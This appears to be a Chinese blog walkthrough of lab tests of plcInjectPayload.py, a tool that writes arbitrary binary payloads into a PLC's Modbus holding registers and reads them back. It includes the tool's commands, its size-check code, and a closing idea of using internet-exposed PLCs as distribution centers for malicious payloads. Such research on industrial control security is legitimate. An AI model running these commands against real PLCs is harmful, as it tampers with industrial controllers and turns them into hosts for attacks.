1、探测PLC 设备保持寄存器中是否有足够的内存 (字节)
-size <n bytes> check if the PLC can allocate <n> bytes in its holding registers
python plcInjectPayload.py -size 1000 -ip 172.21.1.2
该模块,先发送功能码为03(reading hold registers)的1000字节的内存空间的请求
由于每个16位的寄存器能存储两个字节(1字节=8bit)
1000个字节的payload需要有500个寄存器存储
image.png发包请求内容如上:
reference number : 500
word count : 1
如果请求--响应为 83 ,说明该PLC 设备无法获取到相应的内存空间数量,响应为“非法数据地址”
image.pngcheck size关键代码如下:
def check_size(size,ip):
ref_num = format(size / 2, '04x') # Each Holding register store 2 bytes
word_count = "0001" # Just read one word
payload = create_header_modbus("0006") + READ_HOLDING + ref_num + word_count
print Colors.ORANGE + "[?] Checking if the PLC %s has enough size in its holding registers " % ip + Colors.DEFAULT
resp = connection_plc(ip,payload,t_sleep=1) # 1 sec sleep to avoid some ack/rst (some PLCs behave strangely)
if resp.encode('hex')[14:16] == '83': # Exception Read Holding Registers.
print Colors.RED + "[-] Exception Read Holding Registers. Not size available :/" + Colors.DEFAULT
return False
else:
print Colors.ORANGE + Colors.BOLD + "[+] It seems there are enough size :D" + Colors.DEFAULT
return True
2、upload上传payload
原始寄存器中所有数据全置0 ,
尝试上传一个16字节的二进制文件,未指定起始地址,默认从第一位开始
python plcInjectPayload.py -upload 1-14.bin -ip 192.168.81.1
image.png
在modbus从站中,发现八个寄存器中数据已被写入,正好16字节写入8个寄存器中
通过modbus主站读保持寄存器查看,发现数据正好吻合
image.png在此基础上继续写入4字节的payload数据,并指定数据写入地址
-addr 9 表示在第九个寄存器之后写入,即从第十个开始写
python plcInjectPayload.py -upload test2.bin -ip 192.168.81.1 -addr 9
image.png
image.png
3、从PLC保持寄存器中download下载payload
尝试将第二次上传的4个字节大小的payload
python plcInjectPayload.py -download 4 -addr 9 -ip 192.168.81.1
image.png
payload 完全符合上传的原文件
总结&&后续
plc能够写入某些恶意的payload,便能使暴露在公网的PLC设备作为payload分发中心,可以利用PLC进行攻击受害者,后续将继续深入研究,如何利用PLC进行恶意payload散播。
网友评论